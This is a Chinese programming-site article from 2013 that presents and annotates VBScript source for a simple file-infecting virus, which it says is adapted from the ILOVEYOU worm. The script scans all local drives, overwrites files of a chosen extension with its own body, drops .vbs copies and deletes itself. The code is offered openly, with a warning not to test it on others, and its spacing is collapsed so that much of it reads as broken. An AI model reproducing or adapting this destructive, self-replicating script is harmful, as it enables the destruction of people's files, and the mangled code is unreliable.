vbs病毒的简单例子源代码解析
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
| 说明：作者对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后，会寻找硬盘上所有满足条件的文件，对其进行强制性覆盖（满足条件的文件数据将全部丢失）、并再创建一个相同文件名但后带.vbs的文件。因此，请注意设立好破坏测试条件，千万不要对他人进行测试，否则，一切后果自负。如果你的系统不支持.vbs,可以将后缀改为.vbe dimfolder,fso,foldername,f,d,dc setfso=createobject("scripting.filesystemobject") setself=fso.opentextfile(wscript.scriptfullname,1) vbscopy=self.readall''读取病毒体，以备复制到文件 self.close setdc=fso.Drives foreachdindc ifd.drivetype=3ord.drivetype=2then''检查磁盘类型 wscript.echod''弹出窗口，显示找到盘符 scan(d) endif next lsfile=wscript.scriptfullname''该脚本程序路径 setlsfile=fso.getfile(lsfile) lsfile.delete(true)''病毒运行后自我删除(本人自加，爱虫病毒本身没有该代码） subscan(folder_) onerrorresumenext setfolder_=fso.getfolder(folder_) setfiles=folder_.files foreachfileinfiles ext=fso.GetExtensionName(file)''获取文件后缀 ext=lcase(ext)''后缀名转换成小写字母 ifext="mp5"then''如果后缀名是mp5,当然不存在这种文件，这里可以自己修改，但是注意。请自己建立相应后缀名的文件，最好是非正常后缀名 setap=fso.opentextfile(file.path,2,true) ''ap.writevbscopy''覆盖文件，慎用 ap.close setcop=fso.getfile(file.path) cop.copy(file.path&".vbs")''创建另外一个病毒文件 ''file.delete(true)''删除原来文件 endif next setsubfolders=folder_.subfolders foreachsubfolderinsubfolders''搜索其他目录 scan(subfolder) next endsub |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
你可能对下面的文章感兴趣
上一篇: charCodeAt与AscW函数的区别说明下一篇: 用vbs删除前一天创建的备份文件
关于vbs病毒的简单例子源代码解析的所有评论
